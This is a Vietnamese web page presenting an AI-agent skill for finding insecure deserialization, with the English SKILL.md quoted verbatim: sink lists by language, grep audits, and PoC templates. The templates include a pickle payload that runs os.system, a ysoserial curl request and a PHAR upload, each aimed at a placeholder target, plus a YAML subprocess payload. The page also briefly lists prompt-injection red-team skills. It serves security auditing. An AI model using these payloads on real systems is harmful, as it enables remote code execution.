deserialization
Skill này làm gì
Skill này là playbook để tìm deserialization không an toàn, khi dữ liệu không đáng tin được chuyển lại thành đối tượng theo cách thiếu an toàn. Skill dành cho lập trình viên và người rà soát kiểm tra mã mà họ được phép xem.
Khi nào nên dùng
- ✓Khi lập trình viên yêu cầu agent kiểm tra xem dữ liệu không đáng tin có được nạp bằng hàm deserialization không an toàn không.
- ✓Khi agent rà soát mã Python, Java, .NET, PHP hoặc Ruby để tìm các lệnh nạp rủi ro.
- ✓Khi một đội muốn có danh sách an toàn hơn các hàm nạp để thay thế các hàm rủi ro.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/deserialization/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Bạn có thể kiểm tra mã Python được ủy quyền của chúng tôi xem có chỗ nào dữ liệu không đáng tin được nạp bằng pickle hoặc YAML không an toàn không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent tìm các hàm nạp rủi ro trong từng ngôn ngữ, theo dõi nguồn đầu vào của chúng, và liệt kê những chỗ cần xử lý an toàn hơn.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Insecure Deserialization Playbook
Deserialization is the single most reliable path from a byte string under user control to unauthenticated remote code execution. Modern frameworks have tried to wall this off, but chained-gadget attacks (ysoserial, ysoserial.net, marshalsec, phpggc) still make this a top-tier finding.
1. Sources (user-controlled data that becomes an object)
- HTTP body, cookie, header, query param
- Message queue payload (Kafka, RabbitMQ, SQS)
- File upload parsed as config
- WebSocket messages
- Inter-service RPC
2. Dangerous sinks by language
Python
pickle.loads/pickle.load/pickle.Unpicklerdill.loads,cloudpickle.loads,shelve.openyaml.load()withoutLoader=SafeLoaderjsonpickle.decodenumpy.load(allow_pickle=True)torch.load(loads pickled tensors → RCE)joblib.loadmarshal.loads
grep -rE 'pickle\.loads?\(|yaml\.load\([^)]*Loader=(FullLoader|Loader)?\)|torch\.load\(' /workspace/src
semgrep --config p/insecure-transport --config p/python /workspace/src -o /workspace/sem-deser.sarif
Java
ObjectInputStream.readObjectXMLDecoder.readObjectJackson ObjectMapperwith default typing + polymorphic typesSnakeYAMLYaml.load()(before 2.0) — RCE via!!javax.script.ScriptEngineManagerXStreamwithout whitelistHessian,Kryowith registration disabled
Gadgets: ysoserial payloads (CommonsCollections, Spring, Groovy, C3P0)
.NET
BinaryFormatter.Deserialize(deprecated but still common)SoapFormatter,LosFormatter,ObjectStateFormatterJavaScriptSerializerwithSimpleTypeResolverJson.NETwithTypeNameHandling != None
PHP
unserialize()on any user input- PHAR uploads —
file_exists("phar://upload.phar")triggers deser - Laravel
decrypt()→unserialize(pre-patched APP_KEY leak chain)
Ruby
Marshal.loadYAML.load(before Psych 4 safe default)Oj.loadwithoutmode: :rails
Node.js
node-serializeunserialize()serialize-to-jsdeserialize()vm.runInNewContext(userInput)— not technically deser but same impact
3. Gadget chain availability
A sink is only exploitable if the right gadget classes are on the classpath. Check the lockfile / vendored deps for known gadget-rich libraries:
# Java
find /workspace/src -name 'pom.xml' -exec grep -lE 'commons-collections|spring-beans|xalan|bcel|commons-beanutils' {} +
# Python
grep -rE 'torch|numpy.*allow_pickle|jinja2' /workspace/src/requirements*.txt
# Node
jq '.dependencies | keys[]' /workspace/src/package.json | grep -E 'lodash|ejs|handlebars'
4. Taint audit workflow
- Identify every source (HTTP body/cookie/header handlers).
- Trace the data through:
- Explicit
.loads/.readObject/unserializecalls - Framework magic (Spring
@RequestBodywith default typing) - File uploads parsed as config
- Explicit
- For each confirmed source-to-sink path, check gadget availability on the classpath.
- Record as graph vulnerability node. If no gadgets are currently
available, mark
exploitability="conditional"— the dep upgrade that ships the gadget class is a time bomb.
5. PoC templates
Python pickle (direct)
import pickle, base64, os
class E:
def __reduce__(self): return (os.system, ("id > /tmp/pwn",))
print(base64.b64encode(pickle.dumps(E())).decode())
Send as cookie/body; success = /tmp/pwn present or command output reflected.
Java ysoserial
java -jar ysoserial.jar CommonsCollections5 'touch /tmp/pwn' | base64 -w0
curl -X POST https://target.com/api/import -H "Content-Type: application/x-java-serialized-object" --data-binary @payload.set
PHP PHAR
php -d phar.readonly=0 build-phar.php
curl -F 'file=@evil.phar' https://target.com/upload
# Trigger: any filesystem call on phar:// wrapper
YAML (PyYAML < safe default)
!!python/object/new:subprocess.check_output [["id"]]
6. Default CVSS
All unauthenticated deser → RCE are 10.0 critical:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Authenticated deser: drop PR to L → 9.9.
7. Validation contract
validate_finding(
vuln_id=...,
poc_command="curl -X POST https://target.com/api/import --data-binary @payload.bin",
success_patterns="uid=0|root@|pwned|/tmp/pwn",
negative_command="curl -X POST https://target.com/api/import --data 'benign'",
negative_patterns="200|accepted",
cvss_vector="CVSS:3.1/AV:N/AC:L
Câu hỏi thường gặp
Deserialization là gì?
Đó là việc chuyển dữ liệu đã lưu hoặc đã gửi trở lại thành đối tượng của chương trình, điều này có thể không an toàn nếu dữ liệu không đáng tin.
Những nguồn nào có rủi ro?
Skill liệt kê đầu vào HTTP, hàng đợi thông điệp, tệp cấu hình tải lên và thông điệp WebSocket là nguồn phổ biến.
Đây có phải là vấn đề hiếm không?
Skill gọi đây là một trong những đường đi đáng tin cậy nhất đến thực thi mã, nên được xem là ưu tiên cao.
Chi tiết
Mô tả gốc của tác giả
Hunt insecure deserialization (CWE-502) across Python pickle, Java ObjectInputStream / Jackson / SnakeYAML, .NET BinaryFormatter / DataContractJson, PHP unserialize, Ruby Marshal/YAML.load, and Node.js vm. Direct path to unauthenticated RCE.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #13957
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.